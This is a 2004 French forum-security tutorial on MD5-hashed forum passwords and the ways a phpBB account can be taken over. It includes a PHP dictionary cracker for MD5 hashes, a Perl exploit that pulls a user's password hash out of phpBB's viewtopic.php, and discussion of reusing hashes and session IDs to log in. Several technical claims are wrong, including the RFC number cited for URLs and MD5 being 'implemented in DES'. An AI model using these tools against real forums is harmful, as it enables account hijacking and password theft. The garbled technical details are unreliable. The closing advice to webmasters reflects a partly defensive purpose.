Hash MD5 appliqué aux forums
Par 4n9e le 24-09-2004
Présentation du hash MD5 et de ses vulnérabilités dans le cadre de forum
Suite a une question soulevée sur le forum, voici un
petit commentaire sur le MD5, et les faiblesses possibles de ce type de sécurité
lorsqu'il est appliqué à la gestion des pass sur un forum.
Dans cet article, je reprendrais aussi certaines idées qui ont été proposées
dans les sujets de discution, afin de regrouper tout ceci pour une lecture plus
aisée.
Il s'agit ici d'une première partie, par manque de temps cette fois, je
completerais ceci ulterieurement.
Présentation du MD5
Le MD5, pour Message Digest algorithm 5
est une facon de créer un résumé sur 128 bits
d?un fichier, ou d'une donnée au sens général, quelle que soit sa taille.
De ce fait, chaque donnée traitée ainsi a une signature MD5 unique, la longueur
d'une signature MD5 est invariable, elle fait 32
caractères alphanumériques, où les lettres représentent une forme
hexadécimale (de A à F). C'est une valeur hexadécimale (exemple :
b039a504762bcbc5214f55531474c2be).
Quelque soit la taille de la donnée, ces regles ne changent pas, il est donc
impossible par exemple de reconstituer un fichier à partir de son hash MD5. Le
hash, justement:
On est ici en présence non pas d'une forme de cryptage, en ce sens qu'à partir
du crypté on ne revient pas par conséquent à la donnée d'origine, mais en
présence d'un algorythme de type checksum, un mélange de données et d'opérations
sur les blocs de cette donnée. Pour bien comprendre, voici un exemple simple. L'algorythme
consiste ici a prendre chaque donnée de l'ensemble, et l'aditionner. si le
resultat est superieur à 10, on ajoute les deux chifrfres de ce nombre :
2
5
4
1
8
9
3
4
résultat : 36, donc 3+6 =
9
le postulat qui découle de cet algorythme est que :
- la suite 2,5,4,1,8,9,3,4 ne peut donner comme résultat QUE 9
- cependant, en partant de 9, on peut remonter à une infinité de combinaisons,
même si on connait la méthode utilisée pour calculer ce résultat, mais dont UNE
SEULE est la bonne
- enfin, quelle que soit la taille (le nombre) de chiffres aditionnés, on
obtiendra TOUJOURS un résultat d'une longueur égale à UN caractère.
A l'origine, ce type de hashage est crée pour vérifier que les données ne sont
pas corrompues.
En reprennant notre exemple, voici ce qui se passe :
Les données de ce fichier sont :
2
5
4
1
8
9
3
4
résultat pour controle : 9
Le programme qui vérifie dit : ok, je veux bien te croire, mais je vais verifier
a mon tour... 2+5+4+1+8+9+3+4= 36, et 3+6= 9. Je trouve aussi 9, comme prévu. Ce
fichier est correct.
Bien sûr, je simplifie ici à l'extrème, mais le principe est là. Toute
modification dans les données changera le hash MD5, sa signature.
Les spécifications du MD5 sont décrites dans le RFC 1321 en détails (Ron Rivest,
1992). Vous y trouverez en détails l'algorythme de hashage, c'est à dire les
étapes par lesquelles passent les données pour aboutir à une signature.
Pour une plus grande facilité d'utilisation, il est implémenté dans de nombreux
languages ou systèmes, citons par exemple DES,
GPG...
Pour exemple, en ligne de commande l'usage est
mdsum <Nom du fichier>. En Perl, on déclare
use MD5; hexhash ()
On peut utiliser MD5 comme outil de sécurité, et non pas comme outil de
verification des données. Dans ce cas, voici un petit comparatif de différentes
méthodes parmis les plus connues :
Pour finir et faire un focus sur le sujet de cet article, citons que le MD5 est
utilisé dans le cas de certains forum pour "crypter", en réalité vérifier, les
mots de passe utilisateur.
Pour de plus amples informations, je vous renvoie au
topic où il en est fait mention.
Les faiblesses du
MD5 appliqué à la gestion de forum
Comme on l'a vu plus haut, on peut partir de deux postulats :
1* on ne peut pas casser le hash MD5, au sens où on ne pourra pas retrouver un
mot de passe à partir du seul hash MD5 d'un utilisateur.
2* pour se logger en tant q'utilisateur sur un forum, il faut fournir le hash du
pass de l'utilisateur attendu.
Si je reprend le premier, et à la lecture
du RFC 1321, on comprend que le hash MD5 est sujet à plusieurs variables :
- le mot de passe utilisateur en tant que tel
- la longueur de ce mot de passe
- par conséquence directe, la longueur des données ajoutées pour obtenir une
donnée d'une longueur multiple de 512 bits, ou plus exactement de blocks de 16
bits. Ce qui signifie que cette variable est comprise entre 1 et 512 inclus.
Dès lors, l'attaque directe sans autre renseignement que le seul hash est a
exclure.
Il reste alors la méthode du Brute Forcing, l'application en masse de
dictionnaires jusqu'à trouver le code équivalent.
Explication :
Si on ne peut pas prendre le hash et remonter au mot, alors prenons le mot et
remontons au hash. On va donc transformer une liste de mots de longueurs
différentes, en prenant soin de bien cibler cette liste pour aller au plus
juste, en hash MD5, et comparer systématiquement le résultat au hash qui
représente le vrai mot de passe, jusqu'à trouver celui ci.
On peut avoir pour ceci recours a plusieurs outils, comme
John The Ripper, ou un autre dont je
mettrait prochainement la source sur le lien de téléchargement des tutos, partie
publique. A titre de comparaison, et pour savoir à quoi on s'attend, voici les
vitesses théoriques mesurées sur un processeur à 1.4 Ghz:
JoHn The Ripper : 3 millions de tentatives par seconde
Autre outil : 5 millions de tentatives par seconde
Ceci représente sur un code de 8 caractères alphanumériques ne respectant pas la
casse une durée d'une semaine pour casser un MD5 (deux semaines pour JoHn)
Dans le même esprit, voici une petite source qui va chercher un dictionnaire, et
tenter le bruteforce a partir d'un hash soumit au formulaire:
---------------------------------EP-----------------------------------------------
//
//
//__________________4N9e, pour FutureZone, 2004____________________
//
// le dictionnaire est slownik.txt, a mettre sur la racine...
// dictionnary is named slownik.txt, to up on root...
//
//
<form name="form1" method="POST" action="post.php">
<input name="decrypt" type="text" id="decrypt">
</form>
<?
$decrypt = $_POST['decrypt'];
if($decrypt != ""){
echo "Klucz = $decrypt<br>";
$file = fopen("slownik.txt","r");
while (!feof ($file)) {
$buffer = fgets($file, 4096);
$buf = md5(trim($buffer));
$a++;
if(trim($decrypt) == trim($buf)){$passe = $buffer;}
}
echo $a." words in the current slownik !<br>";
if($passe != ""){
echo "Succeeded !<br>The word is : $passe";
}else{
echo "No way...<br>Try another slownik...";
}
}
fclose($file);
?>
-------------------------------EOF-----------------------------------------
Si on aborde la question de la vulnérabilité par
le deuxième postulat, la méthode est toute autre :
Sachant que la connexion d'un utilisateur consiste à soumettre son login et son
mot de passe, et sachant qu'en réalité c'est non pas ce pass, mais
sa forme hashée qui est soumise ( voir
ici pour mémoire), l'idée cette fois ci sera de soumettre du côté de
l'attaquant un couple login::pass hashé à
la base pour comparaison et logging.
Ceci suppose plusieurs éléments, pas tous nécessaires, ceci varie selon la
méthode qu'on va utiliser :
- connaitre le login dont on veut utiliser le compte (ceci est normalement
facile !)
- disposer soi même d'un compte
- connaitre le numéro d'entrée dans la base de cet utilisateur (userID)
- connaitre le hash véritable (si vous êtes le gestionnaire de la base, c'est
facile, sinon, il va falloir mettre en oeuvre d'autres méthodes pour se le
procurer)
L'idée ici est de ne pas se casser les dents a tenter de casser le hash, mais de
l'utiliser tel quel pour se logger.
Il serait long de recopier ici toutes les méthodes d'inclusion, d'autant que
ceci varie fortement du fait du niveau de mise a jour de la sécurité sur le
forum. Mais on peut citer l'écriture de l'URL complexe comprenant le login et le
hash, celle ci variant selon la programation du forum. On peut imaginer une url
de la forme
http://Site/forum/login_controle.php?user=login&pass=hash, c'est à dire
l'adresse de la page de soumission du formulaire,
WHERE utilisateur= [login] AND pass= [hash du pass].
Tiens, faisons une pause, et changeons un
instant de sujet. Une méthode d'authentification est celle qui consiste à
soumettre son couple d'identifiants login:pass à une URL par la forme :
http://login:pass@site.net
C'est la RFC 3508 qui définit l'usage et la forme des URL, entre autre celle ci.
Or vous avez sans doute entendu parler de cette faille de IE qui permet de
pointer sur un site tout en affichant une fake URL. Cette faille est de la forme
HTTP://site1.net@site2.com.
Elle a été reportée par Zatham
dans ce topic.
Et bien pour boucher cette faille, Microsoft a décidé d'interdire tout
simplement l'utilisation de ce genre de caractère dans le formatage des URL (@
ou encore :), se mettant ainsi en
contradiction avec les RFC... Il est vrai qu'ils ne sont pas les seuls, mais
voici de quoi alimenter leurs détracteurs...
E.O.P. (end of pause !)
Reprenons...
Variable de session,
identification de l'utilisateur
Si vous effectuez une recherche sur vos disques, plus précisement dans les
fichiers temporaires, sur des fichiers tres petits (quelques kilos), avec en
argument, le nom de votre forum favori, surtout si sur celui ci vous avez
l'habitude d'utiliser la fonction (tres pratique, on verra cela plus tard !) de
conservation du pass en fonction du login que vous entrez, vous tomberez
surement sur un fichier de la forme html LOGIN.HTML, ou tout autre nom
évoquateur.
Ces forum sont tres "verbeux" lorsqu'ils sont browse avec IE surtout, au sens où
ils ont l'habitude de vous laisser pas mal de ces petits fichiers. Ils sont
générés par le code php du forum, qui renvoie donc un fichier html dont l'étude
de la source permet de conjecturer pas mal sur la source php qui les a généré.
Donc, on étudie un peu cette source. Je vous les livre en brut, avec les erreur
de synthaxe dues à l'outil que j'utilise pour les afficher (je n'ai pas envie de
me les réecrire, ce qui est important c'est pas les balises, mais leur contenu)
:
[toute une partie de
mise en forme, avec de jolies couleurs, un peu de pub pour le fournisseur
phpBB...]
<br />
<form action="login.php" method="post" target="_top">
<table width="100%" cellspacing="2" cellpadding="2" border="0" align="center"
<tr>
<td align="left" class="nav"><a href="index.php" class="nav">Bienvenue sur ce
forum : </a></td>
</tr>
</table>
<table width="100%" cellpadding="4" cellspacing="1" border="0" class="forumline"
align="center">
<tr>
<th height="25" class="thHead" nowrap="nowrap">Entrez votre pseudo et votre mot
de passe pour vous connecter.</th>
</tr>
<tr>
<td class="row1"><table border="0" cellpadding="3" cellspacing="1" width="100%">
<tr>
<td colspan="2" align="center">&</td>
</tr>
<tr>
<td width="45%" align="right"><span class="gen">Pseudo du compte:</span></td>
<td>
<input type="text" name="username" size="25" maxlength="40" value="" />
</td>
</tr>
<tr>
<td align="right"><span class="gen">Mot de passe:</span></td>
<td>
<input type="password" name="password" size="25" maxlength="25" />
</td>
</tr>
<tr align="center">
<td colspan="2"><span class="gen">je veux me
connecter automatiquement à chaque visite: <input type="checkbox"
name="autologin" /></span></td>
</tr>
<tr align="center">
<td colspan="2"><input type="hidden" name="sid"
value="321111111111111111ff91b7545e9f6d"
/><input type="hidden"
name="redirect" value="?" /><input type="submit" name="login" class="mainoption"
value="Se Connecter" /></td>
[la petite phrase de bas de page, powered by machin...]
J'ai volontairement altéré quelques données de cette source. Je mets en évidence
quelques points importants pour les plus novices qui montrent de quelle facon un
formulaire récupère des entrées utilisateur afin de les soumettre en variable à
un fichier qui va les traiter. La déclaration de valeur de ces variables se fait
par value="".
Notez la donnée qui a été hashée et soumise en variable pour traitement.
L'étude de la source html de diverses autres pages, en particulier des pages
viewtopic, nous donne un renseignement
similaire si on regarde les URL des liens qui ne sont accessibles qu'à un
utilisateur enregistré :
surveiller les réponses de ce message
href="viewtopic.php?t=133&watch=topic&start=0&sid=321111111111111111ff91b7545e9f6d"
log-out
href="login.php?logout=true&sid=321111111111111111ff91b7545e9f6d"
Si l'utilisateur se déconnecte, apres une reconnexion ces memes sources
contiennent alors tout autre chose :
surveiller les réponses de ce message
href="viewtopic.php?t=133&watch=topic&start=0&sid=123456789abcdef0123491b7545e9f6d"
log-out
href="login.php?logout=true&sid=123456789abcdef0123491b7545e9f6d"
Cette variable d'identification hashée n'est pas issue du pass de l'utilisateur
directement. En effet, deux utilisateurs différents peuvent avoir le même pass,
par hasard si cette redondance n'est pas verrifiée sur le forum. Il s'agit d'une
variable de session, affectée par le serveur à l'utilisateur lors de sa
connexion, éventuellement même en cas d'invité.
L'utilité de cette méthode est d'éviter l'envoir systématique de cookies tout au
long de la session. Elle sert aussi de sécurité à la connexion, comme
identifiant unique.
Cet identifiant a une durée de vie bien précise, qui peut durer plusieurs
minutes apres deconnexion, ou tout simplement être déclarée obsolète a la
fermeture du browser (time=0)
Si le webmaster déclare l'annulation de
cet identifiant, un fichier de log est créé, qui lui permettra de suivre le
traffic sur son forum dans le temps (connexions- déconnexions, etc...).
En revanche, si il déclare sa destruction
en fin de periode, les données de session sont perdues. Cette méthode est
cependant la plus utilisée pour éviter les écritures intempestives sur le
serveur.
Cette variable est donc utilisable, disons, pendant le temps de connexion de
l'utilisateur. Sachant qu'elle est de plus stockée sur le repertoire %root%/tmp
(ou autre appellation), et qu'il est partagé entre les utilisateurs root sur le
serveur, plusieurs vulnérabilités apparaissent :
- capture par un utilisateur root autorisé ou non (bien que je vous accorde que
faire l'effort de se créer root juste pour hacker un forum, c'est un peu pousser
le bouchon)
- intercepter sur la machine d'un utilisateur cet identifiant.
Dans ce dernier cas, souvenez vous de la variable
autologin :
<td colspan="2"><span class="gen">je
veux me connecter automatiquement à chaque visite: <input type="checkbox"
name="autologin" /></span></td>
Il y a fort a parier que si vous lancez une recherche sur votre propre machine
avec en argument cette variable au sein du fichier, vous trouviez un fichier de
la forme
Ce fichier sera aussi présent sur la machine d'un autre membre de ce même forum.
Je vous épargne les différentes facons d'ammener un utilisateur a vous fournir
ce fichier (SE, intrusion quelconque)
J'ajoute qu'un admin douteux sera à même de se procurer tres facilement cet
identifiant au cours de la session.
Cet identifiant pour être complet, est aussi disponible à l'occasion des
messages d'erreur SQL :
phpBB : Critical Error
Error updating sessions table
DEBUG MODE
SQL Error : 1064 You have an error in your SQL syntax near 'WHERE
session_id = '400004aacf59cdb27015d442c4eeff2c''
at
line 3
UPDATE phpbb_sessions SET session_time = 1078648423, session_page = WHERE
session_id = '400004aacf59cdb27015d442c4eeff2c'
Line : 267
File : /var/www/hebergeur.com/12/a/b/c/site/phpBB2/includes/sessions.php
De nombreux textes traitent des facons de générer des erreurs SQL en passant par
exemple des chaines erronées dans les requetes sur des serveurs mal paramétrés
(magic quotes, safe mode etc...)
Pour revenir au hash du pass en lui même...
Au sujet de la facon de se procurer un hash, il existe diverses faille de
filtrage des variables sous phpBB, là encore il n'est pas question par manque de
place de les décrire toutes. Voici toutefois à titre d'exemple un source qui
potentiellement fait ceci. Elle est aussi partiellement altéré, pour des raisons
de sécurité, mais le principe est là en gros. Il manque de même une partie de
sub routine qui assure une certaine forme d'"intimité". En effet, tel quel elle
est assez "bruyante".
----------------------------------------------EP---------------------------------------
#!/usr/bin/perl -w
#
#
# Hacking.pl
# exploit var $topic_id w viewtopic.php:
# polska wersija
# Iceluck, Bilo, Jerry,Gutek, Ania, Spotszesc... a Soplica !
#
# Alkohol, kurwa, i narkotyk !
#
#
#
use IO::Socket;
$remote = shift || 'url';
$view_topic = shift || '/phpBB2/viewtopic.php';
$uid = shift || 2;
$port = 80;
$dbtype = 'mysql4'; # mysql4 czy pgsql
print "Tarcza jest : $remote\n";
print " hash user uid $uid\n";
print "Tarcza : DB type jest : $dbtype\n";
$p = "";
for($index=1; $index<=32; $index++)
{
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM)
or die "/!\ Nie moge polaczyc $remote:$port : $@\n";
$str = "GET $view_topic" . "?sid=1&t=-1" .
"&view=newest" . " HTTP/1.0\n\n";
print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1\n"; # check pgsql czy rem
print $socket "Host: $remote\n\n";
while ($answer = <$socket>)
{
if ($answer =~ /Location:.*\x23(\d+)/)
{
$p .= chr ($1);
}
}
close($socket);
}
print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1\n"; # itd...
print $socket "Host: $remote\n\n";
print "\nHash MD5 user $uid jest : $p\n";
------------------------------------EOF-------------------------------------
Conclusion
Cette première partie de présentation du MD5 est a present terminé, j'espere
qu'il a permit de lever quelques interrogations quant à cet outil, et son
utilisation en tant qu'élément de sécurité sur les forum.
Ce qu'il faut retenir à ce sujet est que, sans être une panacée, cette
protection est suffisante pour une utilisation sur un support non sensible comme
un forum de discution. L'ensemble des techniques à mettre en oeuvre pour prendre
une identité et suffisament contraignante en terme de temps et de connaissances
pour limiter la menace à un admin à la moralité douteuse, ou a un attaquant
particulierement motivé.
De plus, comme on le répète souvent, il ne faut pas négliger l'aspect bruyant de
ces méthodes, qui lorsqu'elles sont executées a distance laissent suffisament de
traces pour remonter à un attaquant qui ne se serait pas soucié par négligence
ou manque de connaissances des traces que ses logs peuvent laisser.
J'insiste donc ici sur la nécessité pour le webmaster d'effectuer son travail
technique, tant dans la surveillance des logs que dans la vigilence dans le
contenu de ses sources et l'organisation de son forum, l'application des patch
de sécurité, le filtrage des variables et la connaissance de la version qui
supporte son forum.
4N9e, pour FutureZone,
apr 2004